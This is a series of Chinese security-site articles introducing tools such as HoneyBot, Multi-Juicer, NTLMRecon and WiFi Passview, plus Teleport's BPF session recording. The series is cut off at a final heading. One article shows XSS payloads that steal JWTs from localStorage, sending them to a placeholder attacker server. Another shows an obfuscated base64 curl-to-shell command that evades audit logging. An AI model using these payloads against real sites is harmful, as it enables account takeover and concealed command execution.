HoneyBot

HoneyBot是一款功能强大的网络流量捕捉、上传和分析框架,本质上HoneyBot可以实现基于云的PCAP分析,由PacketTotal.com驱动。

HoneyBot其实是由一系列脚本与代码库组成的,并且可以给广大研究人员提供网络数据包的捕捉与分析功能。当前版本的代码库提供了下列三个脚本:

1、capture-and-analyze.py - 对目标接口进行一段时间的数据捕捉,并上传捕捉到的数据以供后续分析。

2、upload-and-analyze.py - 将捕捉到的数据包上传至PacketTotal.com进行后续分析

3、trigger-and-analyze.py - 监听未知连接,并在建立连接时开始数据捕捉,完成捕捉后会自动上传并分析。

注意事项

使用该工具集所捕捉到的任何流量或数据包都将被上传并完全公开可获取。

限制条件

1、目前HoneyBot仅支持.pcap和.pcapng文件;

2、最大支持的数据包大小为6MB;

如需了解更多关于HoneyBot的信息,请参考PacketTotal.com

工具使用场景

1、设置蜜罐环境,并直接将捕捉到的网络流量上传至PacketTotal.com以供分析;

2、分析个人的恶意PCAP库;

3、一次性判断数百个数据包是否具有恶意性;

4、自动分析/共享蜜罐环境捕捉到的数据包;

5、自动化恶意软件分析/分类;

依赖组件

1、必须安装WireShark,如果你是在基于Linux的操作系统上使用HoneyBot的话,你可以直接安装t-shark:

apt-get install tshark

2、需要使用Python 3.5或更高版本;

3、在使用这些脚本之前,必须申请一个API密钥

工具安装

pip install -r requirements.txt

python setup.py install

工具使用

capture-and-analyze.py

usage: capture-and-analyze.py [-h] [--seconds SECONDS] [--interface INTERFACE]

                              [--analyze] [--list-interfaces] [--list-pcaps]

                              [--export-pcaps]

Capture, upload and analyze network traffic; powered by PacketTotal.com.

optional arguments:

  -h, --help            show this help message and exit

  --seconds SECONDS     The number of seconds to capture traffic for.

  --interface INTERFACE

                        The name of the interface (--list-interfaces to show

                        available)

  --analyze             If included, capture will be uploaded for analysis to

                        PacketTotal.com.

  --list-interfaces     Lists the available interfaces.

  --list-pcaps          Lists pcaps submitted to PacketTotal.com for analysis.

  --export-pcaps        Writes pcaps submitted to PacketTotal.com for analysis

                        to a csv file.

upload-and-analyze.py

usage: upload-and-analyze.py [-h] [--path PATH [PATH ...]] [--analyze]

                             [--list-pcaps] [--export-pcaps]

Upload and analyze .pcap/.pcapng files in bulk; powered by PacketTotal.com.

optional arguments:

  -h, --help            show this help message and exit

  --path PATH [PATH ...]

                        One or more paths to pcap or directory of pcaps.

  --analyze             If included, capture will be uploaded for analysis to

                        PacketTotal.com.

  --list-pcaps          Lists pcaps submitted to PacketTotal.com for analysis.

  --export-pcaps        Writes pcaps submitted to PacketTotal.com for analysis

                        to a csv file.

trigger-and-analyze.py

usage: trigger-and-analyze.py [-h] [--interface INTERFACE] [--learn LEARN]

                              [--listen] [--capture-seconds CAPTURE_SECONDS]

                              [--list-interfaces] [--list-pcaps]

                              [--export-pcaps]

Listen for unknown connections, and begin capturing when one is made. Captures

are automatically uploaded and analyzed; powered by PacketTotal.com

optional arguments:

  -h, --help            show this help message and exit

  --interface INTERFACE

                        The name of the interface (--list-interfaces to show

                        available)

  --learn LEARN         The number of seconds from which to build the known

                        connections whitelist. Connections in this whitelist

                        will be ignored.

  --listen              If included, we will begin listening for unknown

                        connections, and immediately starting a packet capture

                        and uploading to PacketTotal.com for analysis.

  --capture-seconds CAPTURE_SECONDS

                        The number of seconds worth of network traffic to

                        capture and analyze after a trigger has fired.

  --list-interfaces     Lists the available interfaces.

  --list-pcaps          Lists pcaps submitted to PacketTotal.com for analysis.

  --export-pcaps        Writes pcaps submitted to PacketTotal.com for analysis

                        to a csv file.

项目地址

HoneyBot:【GitHub传送门

* 参考来源:PacketTotal,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Projectsandcastle

Projectsandcastle是一款针对iPhone的Android/Linux支持工具,该工具可以给广大研究人员提供以下实用工具:

1、loader/ 通过pongoOS加载内核和设备树

2、syscfg/ 可从目标设备的syscfg分区中提取配置信息

3、hx-touchd/ 触摸屏幕支持守护进程

4、hcdpack/ 可从源码文件中提取蓝牙固件信息

内核

内核可以从下列GitHub库中获取到稳定版本(linux-stable):

https://github.com/corellium/linux-sandcastle

Buildroot

Projectsandcastle的Linux Ramdisk使用了buildroot来进行构建,我们提供的定制版本buildroot可以从下列地址获取:

https://github.com/corellium/sandcastle-buildroot

Buildroot是一款简单、高效且易于使用的工具,它可以帮助我们通过交叉编译来生成一个嵌入式的Linux系统。

相关操作文档可以在上述地址中的docs/manual文件中找到,你可以使用命令“make manual-text”来生成一个文本文档,或读取output/docs/manual/manual.text文件。

我们可以按照下列方式来构建和使用buildroot工具:

1、运行命令“make menuconfig”;

2、选择目标架构,以及需要编译的代码包;

3、运行“make”命令;

4、等待编译完成;

5、在output/images目录中找到内核、bootloader、root文件系统等内容;

在线文档:【点我查看

Android应用程序

安装APK文件

广大研究人员可以使用下列命令安装APK文件:

adb install foo.apk

但是,这种方式会存在以下限制因素:

1、如果是纯Java APK文件,并且不需要该项目所不支持的硬件的话,则可以正常运行;

2、仅包含了ARMv7代码(32位)的APK文件将无法运行;

3、包含了ARMv8代码(64位)的APK文件将需要对代码进行重构后方可运行;

重构代码库

我们需要将代码库文件按照16KB页面大小来构建,首先,当代码库链接成功时,尝试运行下列选项/命令:

-z common-page-size=0x4000 -z max-page-size=0x4000

如果连接器使用了C编译器来封装,那你可能还需要使用下列参数:

-Wl,-z,common-page-size=0x4000 -Wl,-z,max-page-size=0x4000

如果一切正常的话,可以使用“readelf -l”:

如果没有RELRO段,请检查具有不同属性的LOAD段是否占用了同一个16KB页;

如果有RELRO段,请确保它在16kB页边界上开始或结束;有时编译器会将RELRO放在RW段的开始处(然后RELRO应该在16k边界处结束),有时会将其放在末尾(然后RELRO应该在16k边界处开始)。

如果还存在问题的话,请检查代码库的源代码,并检查PAGE_SIZE、kPageSize、PAGE_SHIFT、PAGE_BITS等位置。

项目地址

Projectsandcastle:【GitHub传送门

* 参考来源:corellium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Multi-Juicer

Multi-Juicer是一款帮助用户结合OWASP Juice Shop来运行CTF以及安全培训的多用户平台工具集。各位安全研究人员可能知道,在OWASP Juice Shop的帮助下,我们可以轻松地搭建CTF平台,或者进行安全培训。但是,OWASP Juice Shop的设计理念并不支持多用户同时使用的情况。除此之外,用户在自己的设备上搭建OWASP Juice Shop时,可能需要花费很多的时间。不过别担心,Multi-Juicer可以帮你解决各种“疑难杂症”。

Multi-Juicer能够帮助我们在一个中央Kubernetes集群中,为每一个OWASP Juice Shop的参与者单独运行一个Juice Shop实例,而且每一个用户都无需再本地运行Juice Shop实例。

功能介绍

1、在用户需要的时候,动态创建新的Juice Shop实例;

2、在单个域名中运行,并使用了一个负载均衡器来帮助Juice Shop实例的参与者发送流量;

3、为防止Juice Shop容器重启,可自动备份并恢复挑战进程;

4、自动清除旧的和未使用的Juice Shop实例;

工具安装

Multi-Juicer需要在Kubernetes上运行,在安装过程中,我们需要用到helm【点我获取】:

helm repo add multi-juicerhttps://iteratec.github.io/multi-juicer/

# for helm <= 2

helm install multi-juicer/multi-juicer --name multi-juicer

# for helm >= 3

helm install multi-juicer multi-juicer/multi-juicer

云服务商安装指引

通常情况下,Multi-Juicer可以在任意Kubernetes集群中正常运行,为了方便大家在不同云服务提供商的Kubernetes集群中安装、配置和运行Multi-Juicer,大家可以参考下面相应的配置参考文档:

Digital Ocean:【参考文档

OpenShift:【参考文档

AWS:【参考文档

[WIP]Azure:【参考文档

自定义配置

在安装Multi-Juicer的过程中,我们可以通过多种自定义配置来配置我们自己的Juice Shop实例。你可以点击【这里】获取默认配置值。

下载并存储文件【点我下载】,然后让helm使用我们的配置文件来执行工具的安装与配置:

helm install -f values.yaml multi-juicer ./multi-juicer/helm/multi-juicer/

工具卸载

helm delete multi-juicer

工具依赖

为了能够正常在Kubernetes集群上运行Multi-Juicer,工具对集群的计算资源需求如下:

-1GB内存 & 1 CPU

-针对单个JuiceShop实例,200MB & 0.2CPU*参与人数

项目地址

Multi-Juicer:【GitHub传送门

* 参考来源:iteratec,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

写在前面的话

在过去的几个月时间里,我遇到过一些JSON Web令牌(JWT)的不安全实现,而这些不安全实现最终导致了目标Web应用程序遭到黑客入侵。在某些场景中,攻击者可以利用错误配置并通过XSS漏洞来窃取管理员令牌,或伪造用户注册过程中的用户协议并利用管理员权限创建标准用户账号。

JWT与传统的Cookie有所不同,它们虽然很相似,但很多人会错误地认为攻击者无法使用这种方式来对JWT进行攻击。

在这篇文章中,我们将对JWT进行简单介绍,以及JWT和传统Cookie之间的区别,并演示如何窃取JWT,最后还会给出相应的安全解决方案。

JSON Web令牌是什么?

简而言之,JWT,即JSON Web令牌,它可以帮助用户快速简单地完成系统的身份验证(一般使用开源库实现验证机制)。JWT由以下三个部分组成,每个部分由“.”分隔:

header.payload.signature

header表明所使用的哈希算法,payload中包含与用户相关的信息(例如角色和访问权限等),signature用于确保消息完整性。

在大多数配置中,当用户提供了有效凭证时,这个令牌会在HTTP头中进行设置,并用于后续身份授权,这一点跟标准的会话Cookie类似。

最近这几年,社区曝光过很多JWT的相关漏洞,而且也有很多技术文章对这些漏洞进行过讨论了,比如说算法攻击以及通过Payload篡改来实现提权等等。那么在这篇文章中,我并不打算过多去讨论JWT架构以及之前的相关漏洞。

如何恢复传统Cookie和JWT

Cookie的作用就在于,它可以向一个有状态协议(例如HTTP)提供相关的状态信息。我们举一个简单的例子,会话Cookie就可以用来追踪一款Web应用程序上经过身份验证的用户会话。为了实现这一点,会话的记录必须同时存在于服务器端和客户端上。

从JWT的角度来看,令牌可以是无状态的。也就是说,服务器端是不会存储会话记录的。相反,每一个发送至服务器端的请求都会包含一个用户令牌,服务器会根据令牌信息来验证用户的身份权限。

Cookie和JWT都遵循相似的事件流来请求和接收会话令牌,当用户提供有效的身份凭证之后,服务器会返回一个包含了会话令牌的响应。不同之处就在于,Cookie是使用SET-COOKIE命令设置的,但JWT一般是在AUTHORIZATION头中设置的。

它们存储在哪里?

我们用默认配置来进行总结:

localStorage / sessionStorage

默认情况下,Web了浏览器容器几乎是相同的。关闭浏览器之后,localStorage将保持不变,sessionStorage仅持续到浏览器关闭之前。因此,只能在客户端读取到,而不能在服务器端读取到,而且只能通过JavaScript读取到。

Cookie

我们的目的是要让发送的信息在服务器端读取和验证。如果配置了正确的保护机制,恶意JavaScript将很难读取到这些数据。

传统Cookie保护

一般来说,攻击者会通过XSS漏洞来攻击身份认证Cookie,然后尝试劫持目标的管理员会话,并最终通过攻击包含漏洞的Web服务器打开进入目标网络系统的“大门”,

我们可以为存储在Cookie容器中的数据设置Header参数,除了解决底层XSS问题之外,有HttpOnly、secure、path和domain等标志可以提供不同级别的安全保护。然后再将JWT存储在localStorage中……这就像将密码存储在文本文件中一样。

如何通过XSS漏洞窃取localStorage中的JWT

在近期的一次研究中,我发现了一个存储型XSS漏洞,而目标应用程序正好使用了JWT来作为身份验证机制的实现。Payload设置成功后,任何访问了该Web页面的用户其JWT都会被发送给攻击者。

一开始,我无法通过XSS来获取JWT。主要是因为每个JWT都存储有唯一的标识符/键,所以在不知道这些信息的情况下是无法调用它的。比如说,在JavaScript警告框中显示标准Cookie(无保护机制)的典型方法如下:

<script>alert(document.cookie)</script>

因为localStorage中的数据会存储在一个数组中,它无法通过类似方法来调用或读取:

<script>alert(localStorage)</script>

但是,我们可以通过使用getItem()函数来获取存储在localStorage或sessionStorage中的每一个对象:

<script>alert(localStorage.getItem(‘key’))</script>

参考样例:

<script>alert(localStorage.getItem(‘[email protected]essToken’))</script>

如上图所示,我们还需要弄清楚“key”这个唯一标识符是什么:

我猜有的人可能已经想用暴力破解的方式了吧,或者写一个JavaScript脚本来迭代localStorage中的每一个对象。这里我们可以使用JSON.Stringify来实现,这个函数可以将localStorage中存储的内容转换为字符串并绕过这种障碍:

<script>alert(JSON.stringify(localStorage))</script>

下面给出的是利用XSS窃取JWT的完整PoC:

<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>

根据不同目标系统的实现机制,上述的PoC可能会给我们提供IdToken、accessToken或其他相关的令牌。IdToken可以用于身份验证并伪装成有问题的用户,其本质上是帐户接管,而accessToken可用身份验证端点来生成一个的全新IdToken。

这里最大的问题就在于,我们无法将传统的Cookie安全标志应用到localStorage中存储的项。

缓解方案

1、永远不要在localStorage中存储任何敏感信息,比如说JWT或其他关键的凭据信息。localStorage的目的是通过保存网站状态和设置来为用户提供更好的体验度。

2、可以考虑使用Cookie头。

3、设置Cookie头保护机制。

4、永远不要在页面、URL以及其他源代码中显示令牌。

* 参考来源:medium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

今天给大家介绍的是一款名叫GDBFrontend的工具,这是一款GUI调试工具,该工具易于使用,并且灵活可扩展,广大研究人员可以根据自己的需求来对GDBFrontend进行功能扩充。

工具安装

Debian安装(Debian / Ubuntu / KDE Neon)

如果你使用的是基于Debian发行版的操作系统平台,你可以使用Deb包来安装GDBFrontend。

广大用户可以使用下列命令完成工具安装:

echo "deb [trusted=yes]https://oguzhaneroglu.com/deb/./" | sudo tee -a /etc/apt/sources.list > /dev/null

sudo apt update

sudo apt install gdbfrontend

通过apt完成安装后,我们还需要使用apt upgrade来完成新版本更新,获取更新的命令如下:

sudo apt update

sudo apt upgrade gdbfrontend

接下来,我们就可以使用下列命令来运行GDBFrontend了:

gdbfrontend

GIT安装

当然了,广大研究人员也可以直接下载该项目的最新版本源码,然后配置并运行GDBFrontend。

工具要求:

1、GDB => 8.2 (python3)

2、python3

3、tmux

此时,我们可以使用下列命令将项目源码克隆至本地,然后安装并使用GDBFrontend:

git clonehttps://github.com/rohanrhu/gdb-frontend.gitgdb-frontend

cd gdb-frontend

./gdbfrontend

接下来,使用下列命令运行工具:

http://127.0.0.1:5551/terminal/

如果你不需要配合终端使用的话,可以运行下列命令:

http://127.0.0.1:5551/

我们还可以使用下列命令打开GBD Shell:

tmux a -t gdb-frontend

Flatpak

在新版本的GDBFrontend中,还会添加针对Flatpak包的支持。

./gdbfrontend

$ gdbfrontend --help

GDBFrontend is a easy, flexible and extensionable gui debugger.

Options:

--help, -h: 显示帮助信息

--version, -v: 显示版本信息

--gdb-executable=PATH, -g PATH: 指定GDB可执行文件路径

--tmux-executable=PATH, -tmux PATH: 指定Tmux可执行文件路径

--terminal-id=NAME, -t NAME: 指定tmux 终端识别符名称

--verbose, -V: 启用verbose 输出

参数选项

--help, -h

显示帮助信息

--version, -v

显示版本信息

--gdb-executable=PATH, -g PATH

指定GDB可执行文件路径,例如:gdbfrontend –gdb-executable=/path/to/gdb。(可选项)

--tmux-executable=PATH, -tmux PATH

指定Tmux可执行文件路径,例如:gdbfrontend –tmux-executable=/path/to/tmux。(可选项)

--terminal-id=PATH, -t PATH

指定tmux 终端识别符名称(ID),例如:gdbfrontend –terminal-id=terminal-name。(默认: gdb-frontend)

--verbose, -v

启用verbose 输出

错误解决

有的时候GDB和GDBFrontend可能会以非正常状态关闭,此时我们可以使用下列命令终止gdb-frontend Shell:

tmux kill-session -t gdb-frontend

插件系统开发

插件样本

下面给出的是一个插件样本,可以在项目目录plugins/hello中的hello文件中找到相关代码。

首先,我们需要找到config.py文件,然后取消下列代码的注释:

disabled_plugins = [

"hello"

]

GDBFrontend的插件都存储在plugins/目录中,典型的插件文件结构如下:

plugins/

hello/

frontend/

html/

hello.html

js/

hello.js

css/

hello.css

url_modules/

api.py

config.py

urls.py

hello.py

插件文件-config.py

一个插件文件应当包含的基础信息如下:

DESCRIPTION = "Example GDBFrontend plugin."

AUTHOR = "Oğuzhan Eroğlu <[email protected]> (https://oguzhaneroglu.com/)"

HOMEPAGE = "https://github.com/rohanrhu/gdb-frontend"

VERSION = [0, 0, 1]

hello.py样本代码:

import importlib

import plugin

gdb = importlib.import_module("gdb")

class HelloPlugin(plugin.GDBFrontendPlugin):

def __init__(self):

plugin.GDBFrontendPlugin.__init__(self)

def loaded(self):

gdb.events.new_objfile.connect(self.gdb_on_new_objfile)

def unloaded(self):

gdb.events.new_objfile.disconnect(self.gdb_on_new_objfile)

def gdb_on_new_objfile(self, event):

print("[HELLO] Event: new_objfile:", event)

工具运行截图

许可证协议

本项目的开发与发布遵循GNU General Public License v3 (GPL-3)开源许可证协议。

项目地址

GDBFrontend:【GitHub传送门

* 参考来源:rohanrhu,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

NTLMRecon

NTLMRecon是一款针对Web应用NTLM认证信息的枚举工具,如果目标Web节点启用了NTLM认证功能,那么广大研究人员就可以使用NTLMRecon来枚举目标相关信息。

NTLMRecon是一款运行速度快且扩展灵活的NTLM侦察工具,该工具无需外部依赖即可实现其功能。在处理大量潜在IP地址和域名时,NTLMRecon将能够帮助我们快速收集关于目标NTLM节点的相关信息。

注意:该项目的内部字典取自nyxgeek/lyncsmash库。

工具概览

NTLMRecon可以搜索到启用了NTLM的Web节点,然后向其发送伪造的认证请求,并能够尝试从NTLMSSP响应中枚举出下列信息:

1、活动目录域名

2、服务器名

3、DNS域名

4、FQDN

5、父DNS域

由于NTLMRecon利用了一个Python脚本来实现NTLMSSP,这样可以在每次扫描成功之后消除Nmap NSE http-ntlm-info的运行开销。

工具安装

Arch

如果你运行的是Arch Linux,或其他基于Arch Linux发行版的系统,你可以点击【这里】从AUR获取最新版本的构建文件。

通用安装

首先,使用下列命令将项目源码克隆至本地:

git clone https://github.com/sachinkamath/ntlmrecon/

建议大家在虚拟环境中使用该文件,安装Virtualenv的命令如下:

pip install virtualenv

接下来,使用下列命令创建一个新的虚拟环境,并激活该环境:

virtualenv venv

source venv/bin/activate

运行安装文件:

python setup.py install

安装完成之后,你就可以使用下列命令来运行NTLMRecon并查看帮助信息了:

ntlmrecon --help

工具使用

         _   _ _____ _     ___  _________

        | \ | |_   _| |    |  \/  || ___ \

        |  \| | | | | |    | .  . || |_/ /___  ___ ___  _ __

        | . ` | | | | |    | |\/| ||    // _ \/ __/ _ \| '_ \

        | |\  | | | | |____| |  | || |\ \  __/ (_| (_) | | | |

        \_| \_/ \_/ \_____/\_|  |_/\_| \_\___|\___\___/|_| |_|

             v.0.1 beta - Y'all still exposing NTLM endpoints?

usage: ntlmrecon [-h] [--input INPUT | --infile INFILE] [--wordlist WORDLIST] [--threads THREADS] [--output-type] –outfile OUTFILE [--random-user-agent] [--force-all] [--shuffle]

optional arguments:

  -h, –help           显示帮助信息或退出

  –input INPUT        以IP地址、URL或CIDR作为输入来枚举NTLM节点

  –infile INFILE         传递本地输入文件

  –wordlist WORDLIST  使用自定义字典覆盖内部字典

  –threads THREADS    设置线程数量 (默认为10)

  –output-type, -o    设置输出文件类型,支持JSON和CSV (默认为CSV) 

  –outfile OUTFILE    设置输出文件名称 (默认为ntlmrecon.csv)

  –random-user-agent  使用随机用户代理来发送请求 (默认为 False) (未完成)

  –force-all          强制枚举所有节点 (默认为False)

  –shuffle            打乱输入文件中的数据顺序

工具使用样例

针对单个URL地址进行侦察

$ ntlmrecon --input https://mail.contoso.com --outfile ntlmrecon.csv

针对一个CIDR范围或IP地址进行侦察

$ ntlmrecon --input 192.168.1.1/24 --outfile ntlmrecon-ranges.csv

将目标侦察信息以输入文件的形式提供

NTLMRecon能够自动检测输入文件中每一行数据的类型,并自动将检测结果返回给用户。即使数据是从文本文件中读取出来的,该工具同样也能够自动识别并解析CIDR范围。

输入文件的内容样例如下:

mail.contoso.com

CONTOSOHOSTNAME

10.0.13.2/28

192.168.222.1/24

https://mail.contoso.com

如果你想将目标侦察信息以输入文件的形式提供给NTLMRecon,可以直接运行下列命令:

$ ntlmrecon --infile /path/to/input/file --outfile ntlmrecon-fromfile.csv

项目地址

NTLMRecon:【GitHub传送门

* 参考来源:sachinkamath,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

XCTR-Hacking-Tools是一款整合了多种功能为一身的信息收集工具。

首先,你需要创建一个项目来存储相关的所有数据。

收集到的所有信息都将以“项目-名称”的形式存储在结果目录中。

除此之外,你还可以在设置区域中更新用户代理以及代理信息,或者更新URL、代理、项目名、字典和线程数等等。

功能介绍

该工具的功能包括:

1、Docker查找器

2、管理员面板查找器

3、CMS查找器

4、IP历史记录

5、反向IP地址

6、页面查看器

7、代理查找器

工具安装

广大用户可以使用下列命令完成工具的下载和安装,并使用requirements.txt完成依赖组件的配置:

git clone https://github.com/capture0x/XCTR-Hacking-Tools/

cd xctr-hacking-tools

pip3 install -r requirements.txt

工具使用

python3 xctr.py

工具运行之后,所有的数据收集结果都将存储在“results/project-name”中。

Docker查找器

Docker查找器有两个部分组成,即“bing”和“yandex”:

*.php?id=

管理员面板查找器

在这个地方,我们首先需要设置一个扫描所需的字典,此时可以按下“2”来修改字典并完成登录。

URL格式为“https://targetsite.com/”。

如果扫描速度比较慢的话,你可以尝试更新代理,按下“3”即可完成更新。

IP历史记录

该工具可以显示并存储目标域名的IP历史记录。使用样例如下:

targetsite.com

反向IP

在该工具的帮助下,我们可以查找到服务器所绑定的域名。使用样例如下:

212.57.147.54

工具运行截图 

项目地址

XCTR-Hacking-Tools:【GitHub传送门

* 参考来源:capture0x,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

写在前面的话

Teleport 4.2引入了一个名叫增强型会话记录(Enhanced Session Recording)的新功能,该功能可以接收一个非结构化的SSH会话,并输出结构化事件的数据流。这是Teleport的一次进步,因为它使用了新技术(eBPF,或现在可以简称为BPF)来弥补Teleport审计能力的一些不足。接下来,我们将给大家介绍这个新功能,并讨论其中的一些技术细节。

背景介绍

Teleport在最早的版本中就引入了会话记录功能,会话记录可以捕捉用户在终端中的打印信息,并可在之后的安全审计过程中以视频的方式提供回放记录。这个功能的优势就在于,这些记录很容易查看和理解,并且可以提供用户在会话建立期间的相关活动以及上下文,这对于安全审计活动来说是非常有价值的。

当然,它的不足之处就在于,用户可以通过多种方式来绕过会话记录。

1、混淆处理-比如说下列命令:

echo Y3VybCBodHRwOi8vd3d3LmV4YW1wbGUuY29tCg== | base64 –decode | sh

当该命令解码后即为“curl http://www.example.com”,但是SSH会话记录中并不会包含curl命令。

2、Shell脚本-如果用户上传并执行了一个脚本,那么脚本中的命令将无法被会话记录捕捉到,而是直接将脚本文件输出。

3、终端控制-终端支持各种控制命令,最常用的应该是sudo了,禁用终端的echo将允许我们在运行命令的同时不会被SSH会话记录捕捉到。

技术实现

为了解决这个问题,Teleport需要一种方法来在会话持续的过程中将非结构化的SSH会话转换为结构化的事件流。那么这种结构化事件流中应该包含什么呢?

我们对多种方法进行了研究,我们研究的内容从诸如regex模式匹配之类的特殊方法到更复杂的尝试,比如自己解析原始SSH会话。我们还研究了Linux提供的各种API和系统,如Audit、fanotify和BPF。

在选择使用哪种技术来构建时,我们有以下几个关键的标准:

1、减小误报,理想情况下为0。如果你的系统误报率非常高,那么你对警报的关注度可能会因此而减少,这将导致关键问题被忽略。

2、减少由监控所引起的任何性能影响,理想情况下为0,这也能减轻向用户添加额外资源的负担。

这些特定的方法都会存在误报的问题。我们在解析和解释组成SSH会话的字节流时,无法在不引起错误警告的情况下保证数据的准确率。而且由于性能方面的原因,我们排除了Linux Audit

BPF是什么?

Brendan Gregg,是BPF程序的开发人员,他经常将BPF描述为一种“新型软件”。BPF允许用户空间程序以安全和高效的方式在内核的某些位置设置钩子并发出事件。

安全和性能意味着什么?在这种情况下,“安全”意味着BPF程序不能陷入无限循环中,导致系统崩溃。BPF程序不太可能像内核模块那样使整个操作系统崩溃。BPF程序也有性能,如果不能足够快地使用事件,则会删除事件,而不是拖累整个系统的性能。

Teleport如何使用BPF

Teleport当前使用了三个BPF程序:execsnoop用于捕捉程序执行,opensnoop用来捕捉程序所打开的文件,tcpconnect用来捕捉程序建立的TCP链接。

为了更好地了解这三个BPF程序的功能,大家看看我们在运行“man ls”命令时,execsnoop捕捉到的内容:

# ./execsnoop

Tracing exec()s. Ctrl-C to end.

   PID   PPID ARGS

 20139  20135 mawk -W interactive -v o=1 -v opt_name=0 -v name= [...]

 20140  20138 cat -v trace_pipe

 20171  16743 man ls

 20178  20171 preconv -e UTF-8

 20181  20171 pager -s

 20180  20171 nroff -mandoc -rLL=173n -rLT=173n -Tutf8

 20179  20171 tbl

 20184  20183 locale charmap

 20185  20180 groff -mtty-char -Tutf8 -mandoc -rLL=173n -rLT=173n

 20186  20185 troff -mtty-char -mandoc -rLL=173n -rLT=173n -Tutf8

 20187  20185 grotty

现在你也许已经了解了BPF程序的功能了,简单的“man”命令,原来后面有这么多其他的程序在执行。

Teleport已将这三个程序的代码嵌入在了自己的库中,当我们启用了增强型会话记录功能之后,它便会执行这些程序。

就其本身而言,这些程序都是用于调试和跟踪的优秀工具,因为它们可以告诉我们整个系统在执行哪些操作。事实上,这就是我们最开始选择这些工具的目的:我们使用它们来调试Teleport遇到的一些问题,而这些问题可能会导致它在某些场景中耗尽文件描述符。但是,我们使用Teleport的目的各有不同,我们有时需要将程序执行与SSH会话以及标识符关联起来。

为了将程序执行与特定的SSH会话关联起来,我们选择使用cgroup(cgroupv2)。当Teleport启动SSH会话时,它首先会重新启动并将自己放置在cgroup中。这将允许程序对当前进程以及Teleport将要启动的所有进程进行跟踪,并分配唯一标识ID。Teleport所运行的BPF程序还可以发出执行它们的程序的cgroup ID,这允许我们将事件与特定的SSH会话和标识关联起来。

切入主题

了解了关于BPF的相关内容之后,你也可以将增强型会话记录功能引入你自己的程序之中,脚本代码已托管至GitHub【传送门】。

首先启动Ubuntu 19.04或RHEL/CentOS 8 VM并运行上面链接提供的脚本。该脚本只会安装内核头和bcc-tools,这些都是增强型会话记录运行的前提条件。除此之外,它还会安装jq,这样更有助于可视化查看结构化事件流。

安装命令如下:

yum install -y kernel-headers bcc-tools

apt install -y linux-headers-$(uname -r) bpfcc-tools

如需启用Teleport中的增强型会话记录功能,请将下列内容添加至配置文件中:

   ssh_service:

       enhanced_recording:

          enabled: yes

当你以本文说明的方式在终端中执行“curl http://www.gravitational.com”时,你将会看到下列输出内容:

{

  "argv": [

    "http://www.gravitational.com"

  ],

  "cgroup_id": 4294967355,

  "code": "T4000I",

  "ei": 15,

  "event": "session.command",

  "login": "root",

  "namespace": "default",

  "path": "/bin/curl",

  "pid": 2315,

  "ppid": 2294,

  "program": "curl",

  "return_code": 0,

  "server_id": "e56dc762-0171-4d6e-aa56-24f2ae268c7f",

  "sid": "72aabcd8-38c8-11ea-af55-42010a800031",

  "time": "2020-01-17T01:27:05.07Z",

  "uid": "4b493296-7df2-4ec7-9282-a19c0d98e261",

  "user": "test-user"

}

{

  "cgroup_id": 4294967355,

  "code": "T4002I",

  "dst_addr": "104.24.97.116",

  "dst_port": 80,

  "ei": 0,

  "event": "session.network",

  "login": "root",

  "namespace": "default",

  "pid": 2315,

  "program": "curl",

  "server_id": "e56dc762-0171-4d6e-aa56-24f2ae268c7f",

  "sid": "72aabcd8-38c8-11ea-af55-42010a800031",

  "src_addr": "10.128.0.49",

  "time": "2020-01-17T01:27:05.145Z",

  "uid": "42831223-1da2-4b26-a783-08060fd8d7b1",

  "user": "test-user",

  "version": 4

}

此时,我们可以看到用户将以两种方式运行curl程序。第一种就是程序执行本身,第二种方法就是程序的行为,curl将会发送一个网络请求。

当然了,你也可以尝试运行其他内容,比如说经过混淆处理的命令等等,你同样可以在日志中查看到执行结果。

执行演示

下面演示的是增强型会话记录如何将一个非结构化的SSH会话转换成了一个结构化事件流:

*参考来源:gravitational,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

WiFi Passview

WiFi Passview是一款基于Batch脚本实现的开源程序,它可以帮助我们在几秒钟之内轻松恢复WiFi密码。目前,该工具仅支持Windows操作系统。本质上来说,WiFi Passview跟webpassview和mailpassview这样的密码查看器类似,但是这个脚本功能更加强大,运行速度更快,使用起来也更加方便。

免责声明:WiFi Passview仅为测试目的使用,请不要将其用于恶意用途。

工具运行机制

从本质上来说,WiFi Passview可以算是WiFi密码管理器的Batch脚本实现方式,它可以帮助我们使用命令行工具来查看WiFi密码,这就是WiFi Passview的运行机制:

netsh wlan show profiles

当你在使用该工具时,只需几秒钟,你就可以轻松从目标设备上提取出存储在其中的WiFi密码。

功能介绍

当前版本的WiFi Passview提供了以下几种功能:

1、仅需几秒钟时间,便可提取存储在目标设备中所有可用/有效的WiFi密码;

2、提取指定目标SSID的WiFi密码;

3、存储提取到的密码;

4、添加额外选项;

5、无需人工读取关键内容,该工具可以帮助我们整理并输出;

6、无需管理员权限即可运行该工具;

7、独立的Batch脚本程序;

8、高度可定制;

工具使用

首先,各位研究人员需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/WarenGonzaga/wifi-passview.git

接下来,找到项目目录中的”wifi-passview-vX.X.X.bat”文件,然后使用Batch文件的运行方式来执行*.bat文件,而且无需使用到管理员权限。

工具运行截图

下面给出的是WiFi Passview的运行截图:

自定义/个性化定制/开发

首先,还是需要使用本文给出的方式将项目下载到本地设备上。接下来,在命令行中切换到项目根目录,然后运行下列命令:

npm install

npm install gulp-cli -g && npm install gulp -D

接下来,根据我们自己的需求来修改“./src/config.json”文件。定制修改完成之后,需要使用下列命令来启动项目的构建进程:

gulp build

如果你想要重置构建进程,可以直接使用下列命令:

gulp cleandev

如果你编辑了“./src/core.bat”文件,你可以使用“gulp test”,并结合“gulp build”和“gulp cleandev”来快速检查定制工具的质量情况。

当然了,你还可以使用下列命令来查看所有可用的“gulp”命令:

gulp --tasks

许可证协议

WiFi Passview的开发与发布遵循MIT开源许可证协议

项目地址

WiFi Passview:【GitHub传送门

* 参考来源:WarenGonzaga,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

关于Mouse Framework框架

